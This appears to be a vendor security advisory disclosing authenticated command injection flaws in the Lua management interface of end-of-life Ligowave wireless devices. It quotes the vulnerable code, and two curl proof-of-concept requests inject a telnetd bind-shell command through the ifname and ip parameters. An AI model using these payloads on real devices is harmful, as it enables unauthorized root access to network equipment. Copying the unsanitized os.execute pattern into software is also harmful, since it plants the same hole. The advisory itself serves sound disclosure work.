Security Advisory: Remote Code Execution in Ligowave Devices


Introduction

Being busy with the release of our binary zero-day identification feature does not mean our other analysis capabilities are put to sleep. Case in point with these vulnerabilities affecting Lua code within four different product lines from Ligowave. These products are all related to “Wireless Network Backhaul”, ranging from professional 5GHz wireless devices for long range point-to-point connectivity to business access point.

We initially uploaded the APC Propeller firmware to our platform, where multiple command injection issues were reported within Lua code. We then extended our search to other firmwares from Ligowave where the same issues was also identified. These products include Ligowave UNITY, PRO, MIMO, and APC. More recent Ligowave product lines expose the same features but are now using safer options for command execution and therefore are not affected.

Remote Command Execution

Summary

A vulnerability in the web-based management interface of multiple Ligowave devices could allow an authenticated, remote attacker to execute arbitrary commands.

Impact

Successful exploitation of these flaws would allow remote authenticated attackers to gain remote command execution with elevated privileges on the affected devices.

Description

uam_add_internal command injections

The first issue affects uam.lua , specifically the uam_add_internal feature. The ifname request parameter is used to construct multiple command strings that are being executed with os.execute
without prior sanitization.

In the code below, the source and sinks are annotated:

local function get_internal_uam_path(ifname)
    if not ifname then
        return false, 400, "Bad request - 'ifname' missing"
    end
    return "/etc/persistent/chilli/" .. ifname
end

function uam_add_internal(req, res)
-- snip --
    local dst_dir, status_code, status_msg = get_internal_uam_path(req.POST.ifname) -- NOTE: SOURCE
    os.execute("/bin/rm -rf " .. dst_dir .. "/www") -- NOTE: SINK 1
    os.execute("/bin/mkdir -p " .. dst_dir) -- NOTE: SINK 2
    local unzip_dst = "/tmp/custom_internal"
    os.execute("/bin/rm -rf " .. unzip_dst)
    os.execute("/bin/mkdir -p " .. unzip_dst)
    local cmd = string.format("cd %s && /bin/unzip %s", unzip_dst, zip_file)
    os.execute(cmd)
    cmd = string.format("cd %s && /bin/mv * %s", unzip_dst, dst_dir .. "/www")
    os.execute(cmd) -- NOTE: SINK 3
    cmd = string.format("cd %s && /bin/chmod a+x `/bin/ls www/* | /bin/egrep chi$\\|sh$` && cd -", dst_dir)
    os.execute(cmd) -- NOTE: SINK 4
    os.remove(zip_file)
    os.execute("/bin/rm -rf " .. unzip_dst)
    return true
end

This vulnerability can be exploited by sending a request such as the one below:

curl -X POST \
-H 'Content-Type: multipart/form-data' \
-H 'Cookie: token=BJklwmWxHMLkNf15uK8b%2BGBYK3' \
-F 'internal_uam=@/etc/hosts' \
-F 'ifname=$(telnetd -l sh -p 9999)' \
'http://device-ip/cgi-bin/main.cgi/uam_add_internal'

The second set of vulnerabilities affects linktest.lua , specifically the link_test feature. The request parameter ip is used to construct a command string that is being executed with os.execute without prior sanitization.

In the code below, the source and sink are annotated:

function link_test(req, res)
    local log_file = "/tmp/linktest.log"
    local error_code = 0
    local output
    local error_msg
    if req.method == "POST" then
        if req.POST.action == "stop" then
            os.execute("/bin/killall -1 linktest")
            return true
        end
--snip--
    local cmd = "/bin/pidof linktest"
    output = utils.read_popen(cmd)
    if output ~= '\n' and output ~= '' then
        error_code = -1
    elseif stats.getPeerCount() == 0 then
        error_code = -2
    else
    
    if req.POST.ip then
        local ip = req.POST.ip -- NOTE: SOURCE
        cmd = string.format("/sbin/linktest -t %s -s %s -a %s > %s 2>&1 &", t, s, ip, log_file) -- NOTE: PROPAGATOR
    else
        cmd = string.format("/sbin/linktest -t %s -s %s > %s 2>&1 &", t, s, log_file)
    end
    os.execute(cmd) -- NOTE: SINK
    os.execute("/bin/sleep 1")
end
--snip--

The vulnerability can be exploited by sending a request with curl:

curl 'http://target-ip/cgi-bin/main.cgi/linktest' \
-H 'Cookie: token=BJklwmWxHMLkNf15uK8b%2BGBYK3' \
--data 'pseudo=yes&size=64&sessions=5&ip=$(telnetd -l /bin/sh -p 9999)'

For both curl requests, the token cookie must be adapted of course.

Recommendation

For these products, being EOL, Ligowave will not patch the vulnerability. If replacement of the EOL device is not possible, ensure access to the administration interface is restricted to management networks or administration jump server only, to reduce exposure and thus likelihood of exploitation.

Key Takeaways

As already indicated in our advisory on Delta Electronics industrial routers, ICS devices such as point-to-point wireless connectivity antennas, panels, and bridges are usually installed for long term deployments that, sadly, usually exceed the manufacturer device support lifespan (an issue that will be addressed by the upcoming EU Cyber Resilience Act). With our automated firmware security analysis capabilities, we not only demonstrate how manufacturers can maximize return of PSIRT efforts and run effective vulnerability discovery and management programs, but it also provides ICS device operators the tools required to perform meaningful supply-chain risk assessment.

If you want to test your devices, feel free to reach out to us.

Timeline

  • 2024-02-05 –Initial contact attempt through email and webform.
  • 2024-02-06 – Ligowave support indicates the device is no longer supported.
  • 2024-02-13 – Ligowave requests the report by email.
  • 2024-02-13 – Back and forth on affected devices.
  • 2024-03-12 –Support case marked as resolved by Ligowave.
  • 2024-05-05 –90 days disclosure deadline.
  • 2024-05-16 –Release ONEKEY advisory.



Source link